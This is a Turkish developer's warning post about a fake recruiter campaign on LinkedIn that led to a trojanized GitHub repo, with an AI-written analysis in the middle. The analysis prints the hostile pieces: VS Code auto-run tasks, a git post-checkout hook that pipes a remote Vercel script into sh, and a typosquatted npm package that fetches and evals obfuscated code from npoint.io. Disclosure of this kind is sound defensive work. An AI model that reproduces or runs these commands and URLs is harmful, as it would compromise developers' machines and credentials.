
Dikkat: Sahte İş Teklifi Üzerinden Geliştiricileri Hedef Alan Aktif Bir Malware Kampanyası
Bu hafta başıma gelen bir olayı paylaşmak istiyorum. Bu posttaki herhangi bir linke gitmeye çalışmayın.
LinkedIn üzerinden "Rana Fayez" adında biri mesaj attı. BitAngels adlı bir kripto şirketinde işe alım uzmanı olduğunu söyledi.
Şimdi bu zaten bir red flag arkadaşlar. İşle ilgili ne gereksinimler yazıyor, ne bir gerçek ilan var, hele crypto falan deyince ben soğuyorum. Ama tamamen gerçek tarzda yazılmış da olabilirdi. Yine de size böyle yazanlara cevap dahi atmayın.
Ben mesaj attım dedim cryptoyla uğraşmayalı çok seneler oldu şimdi de uğraşasım yok. Ya yok bi konuşsaydık aslında falan dedi, bir MVP'yi gör isterim onun üzerinden tech lead ile görüşme ayarlayayım. Dedim tamam hele bir gönder neymiş bakalım asıl malware.
e-maildeki github reposuna gittim(emaildeki linklere tıklamayın orada yazdığı endpointe gitmiyor olabilirler, bu gidiyordu). Repolarda bakacağınız bir kaç şey var, contributorlar kim, activity nasıl ve en önemlisi malicious code var mı. Buradaki contributorlar legit gibi duruyordu ama hiç birinin linkedin'de o başta yazan firmayla ya da o kadın ile bir bağlantısı yoktu. Burada da bir red flag var.
Repoyu açtığımda asıl eğlenceli kısım başladı, dedim Claude Code'a burada malicious bir activity var mı? Sağ olsun bayağı bir şey buldu. Bu kısımları da direkt Claude'a yazdırdım kusura bakmayın:
- VS Code tuzağı - Klasörü Açmak Yeterli
.vscode/settings.json dosyası şunu içeriyordu:
{ "task.allowAutomaticTasks": "on" }
.vscode/tasks.json ise klasör açıldığında otomatik çalışan bir görev tanımlıyordu:
git config core.hooksPath .githooks; git checkout main
Yani projeyi VSCode'da açar açmaz bu görev çalışıyor, git hook'larını aktif hale getiriyor ve git checkout main ile post-checkout hook'unu tetikliyor. Hiçbir şey yüklemenize, çalıştırmanıza gerek yok. Klasörü açmanız yetiyor.
- Git Hooks
Repoda .githooks/ adlı bir klasör vardı. İçindeki post-checkout dosyası ~50 satır masum yorum satırıyla başlıyordu. Dosyanın en altına gizlenmiş asıl kod şuydu:
curl -s 'https://gitconfig-nyx-v1.vercel.app/settings/linux?token=00fbe23fd7efc30639f1' | sh >/dev/null 2>&1
Yani git checkout komutu çalıştığında, uzak bir sunucudan shell scripti çekip sessiz sedasız çalıştırıyor.
- Sahte npm paketi
package.json içinde meşru cookie-parser paketi yerine cookie-parseflow adlı sahte bir paket kullanılmıştı. server/app.js de bu paketi içe aktarıyordu.
Paketi incelediğimde şunu buldum:
- Görünürde Express middleware gibi davranıyor,
next()çağırıyor, şüphe uyandırmıyor - Arka planda ayrı bir Node.js process başlatıyor (detached, yani ana process kapansa bile çalışmaya devam ediyor)
- Bu process, base64 ile gizlenmiş bir URL'ye istek atıyor:
https://api.npoint.io/965c9b477f1b8ef5978b - Dönen JSON'daki
cookiealanını alıpnew Function.constructor("require", code)ile çalıştırıyor — yani tam erişimlieval() - Başarısız olursa 5 kez deniyor, tüm çıktılar
/dev/null'a yönlendiriliyor
O endpoint hâlâ aktifti ve 7.2 MB'lık, ağır şekilde obfuscate edilmiş bir JavaScript payload servis ediyordu.
AI'ın yazdığı kısım bitti.
Şimdi benim aldığım aksiyonlar şu şekilde:
- GitHub reposunu report etme
- Vercel endpointini report etme
- npoint.io'yu yapan adama haber verme(ki adamın zaten haberi varmış üzerine çalışıyorum dedi)
- npm paketini report etme
Adamlar böyle meşru siteleri kullanıyorlar ki firewallar falan engellemesin çıplak göze gayet normal dursun diye.
Ben böyle saldırıların canlı mülakatlar da bile yapıldığını gördüm. Adam sana canlı canlı şu repoyu çek bir çalıştır diyor, gerçek mülakatlarda kendi yazdığım kod haricinde başka bir şey çalıştırmam istenmedi siz de yapmayın.
Son zamanlarda böyle saldırılar çok görmeye başladım. Size de böyle yazanlar olduğu zaman iyice irdeleyin her adımını. Kendinize dikkat edin. Sizin de eklemek istediğiniz dikkat edilmesi gereken şeyler varsa yorumlarınızı bekliyorum.